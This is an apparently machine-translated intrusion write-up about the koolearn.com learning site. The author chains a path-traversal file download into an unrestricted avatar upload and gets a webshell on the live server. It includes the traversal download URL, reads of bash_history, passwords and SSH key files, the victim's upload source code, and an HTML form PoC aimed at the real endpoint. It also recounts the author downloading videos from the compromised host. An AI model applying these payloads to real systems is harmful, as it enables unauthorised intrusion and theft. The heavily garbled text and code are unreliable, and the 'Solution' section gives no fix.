Arbitrary File Upload caused by an Arbitrary File Download problem on the New Oriental Online Learning Website
In fact, this vocabulary teacher is really good. The problem lies in the courseware download,
Subconsciously looked at the download link to find any file download http://www.koolearn.com/downloadservlet? Type = 1 & download = 2013-10/yasijjchtl.doc. If you want to download the web configuration file, you cannot find the web path because the file to be downloaded is no longer in the web directory, then we can download a variety of files that can be guessed in the download system. In fact, there are more downloads than this. in linux, we all know that there is a file named bash_history. If the Administrator is not clear, all commands are executed. After the commands are executed, find the nginx configuration file, find the web path, and then download some web configuration files, the hardships are self-evident. In the end, there was nothing to gain, and I switched to the system. I wanted to see if there were any common passwords, such as cipher books. I guessed the common service configuration files, I found several passwords, and nfs configuration files are useless. I read a large number of configuration files, and I was wondering if the server would share files, generally, password-free logon is required. The/root/authoxx ssh certificate login file is downloaded. As a result, the ssh ports on these servers are basically killed by iptables. Only any file can be used to download this file, after smoking a cigarette and remembering a few words, I started to fight for the web. First of all, my goal was very clear. I first started a webshell, which was written in java, there are no known vulnerabilities except struts2. The current idea is 1. download the source code to see if you can find vulnerabilities such as SQL injection. (the Director may say, go to the spring configuration file and find the database configuration file and link, sorry, I found the database connected through the jndi. I didn't find a configuration file, but the Intranet cannot be connected.) I found the Administrator's password in the background getshell, 2. the File Upload Vulnerability (many vulnerabilities in java) does not play a major role in shell. Let's start with a simple one, I started to find an upload point like an Avatar on the koolearn. I saw it without any intention (I 've been searching for a long time, but it looks like an old version, but I don't know it clearly). I found it.
This upload point is interesting, but it fails to be uploaded in flash. The submitted address is found through packet capture. Why? Type = 1 & download = .. /.. /.. // usr/share/tomcat6/webapps/ROOT/bottom/headPhoto. jsp downloads the source code of this file using any file. I am thinking that www can be directly downloaded to the file under my.koolearn.com. Does the main site also have this file after the revision, the access actually exists. I read the uploaded code.
<% @ Page contentType = "text/html; charset = UTF-8" language = "java" import = "java. io. *, java. util. * "%> <% @ page import =" com. koolearn. eclass. util. servletUtils "%> <% @ page import =" org. apache. commons. fileupload. fileItem "%> <% @ page import =" com. koolearn. rest. util. fileUtils "%> <% @ page import =" org. apache. commons. io. filenameUtils "%> <% @ page import =" com. koolearn. eclass. util. fileUploadUtil "%> <% @ page import =" org. apache. co Mmons. fileupload. diskFileUpload "%> <% // defines the maximum byte response of the uploaded file. setContentType ("text/html"); response. resetBuffer (); int MAX_SIZE = 1024*1024*10; // declaration File Reading Class DataInputStream in = null; // obtain the data type String contentType = request uploaded by the client. getContentType (); try {if (contentType. indexOf ("multipart/form-data")> = 0) {int formDataLength = request. getContentLength (); if (formDataLength> MAX_SIZE) {// System. out. println (" The number of uploaded file bytes cannot exceed "+ MAX_SIZE/1024/1024 +" M "); return;} String fileNameWithType =" "; int userId =-1; diskFileUpload upload = new DiskFileUpload (); List items = upload. parseRequest (request); Iterator itr = items. iterator (); while (itr. hasNext () {FileItem item = (FileItem) itr. next (); if (item. isFormField () {String fieldName = item. getFieldName (); if (fieldName. equals ("userid") {// System. out. println ("===== Dd ===" + item. getString (); userId = Integer. parseInt (item. getString () ;}} else {// read the uploaded image data fileNameWithType = FilenameUtils. getName (item. getName (); // System. out. println ("=============================" + fileNameWithType); in = new DataInputStream (item. getInputStream () ;}} String saveFile = FileUploadUtil. getNewName (fileNameWithType); String rootPath = FileUploadUtil. savePhotoURL (userId) + "/"; // Syst Em. out. println ("========" + rootPath); // create a file name for the SAVE path // zxString fileName = rootPath + saveFile; System. out. println ("========" + fileName); // check whether the uploaded File contains File checkFile = new File (fileName); if (checkFile. exists () {// System. out. println (saveFile + "File already exists");} // check whether the directory of the uploaded File contains File fileDir = new File (rootPath); if (! FileDir. exists () {fileDir. mkdirs ();} // System. out. println ("_" + FileUploadManager. getPortraitURL (userId) + "/" + saveFile + "_"); FileUtils. saveFile (in, fileName); String testurl = (FileUploadUtil. getPortraitURL (userId) + "/" + saveFile ). trim (); testurl = testurl. replace (ServletUtils. getBaseURL (request), ""); out. print (testurl); System. out. println ("_" + testurl + "_"); out. flush ();} else {String content = request. getContentType () ;}} catch (Exception ex) {ex. printStackTrace (); throw new ServletException (ex. getMessage () ;}%>
Focus on the String saveFile = FileUploadUtil. getNewName (fileNameWithType). If you are lucky enough to download this file, you can directly download it if it is not converted into a jar file.
public static String savePhotoFile(String path, FileItem fileItem) throws IOException { if (fileItem == null) return ""; String ext = ""; String fileName = ""; fileName = fileItem.getName(); if (fileName.indexOf(".") > 0) { ext = fileName.substring(fileName.lastIndexOf(".") + 1); } String extTypes = SystemGlobals.getPreference("upload.exts"); if (extTypes.indexOf(ext) < 0) { return ""; } fileName = String.valueOf(System.currentTimeMillis()); if (!StringUtils.isBlank(ext)) { fileName = fileName + "." + ext; } saveFile(path, fileName, fileItem.getInputStream()); return fileName; }/code>
This code is written to determine the suffix, but unfortunately it is not called, that would be great
<code>public static final String getNewName(String originalName) { Random random = new Random(); SimpleDateFormat sdf = null; try { sdf = new SimpleDateFormat("yyyyMMddHHmmss"); } catch (Exception ex) { ex.printStackTrace(); return originalName; } String newName = sdf.format(new Date()) + random.nextInt(100) + "." + FilenameUtils.getExtension(originalName); return newName; }
The getNewName method generates a file name according to the timestamp, and the file suffix is not processed. This causes Arbitrary File Upload. Poc
<Form action = "http://www.koolearn.com/bottom/headPhoto.jsp" enctype = "multipart/form-data" method = "post"> <input type = "file" name = "table"> // name value casually, you can see the source code. <input type = "submit"> </form> </body>
After obtaining the shell, check ssh,/root /. the ssh/known_hosts file roughly knows the number of machines on the Intranet. The content will not be pasted here. If the Intranet is not good at it, it will not waste time. Otherwise, there will be too much nonsense, after obtaining the shell, I downloaded several IELTS training videos and watched them. The videos have been deleted. I am not interested in data, so the database is not moved at all.
Shell address: Success!
Solution:
After writing so much nonsense, it should be obvious how to fix it.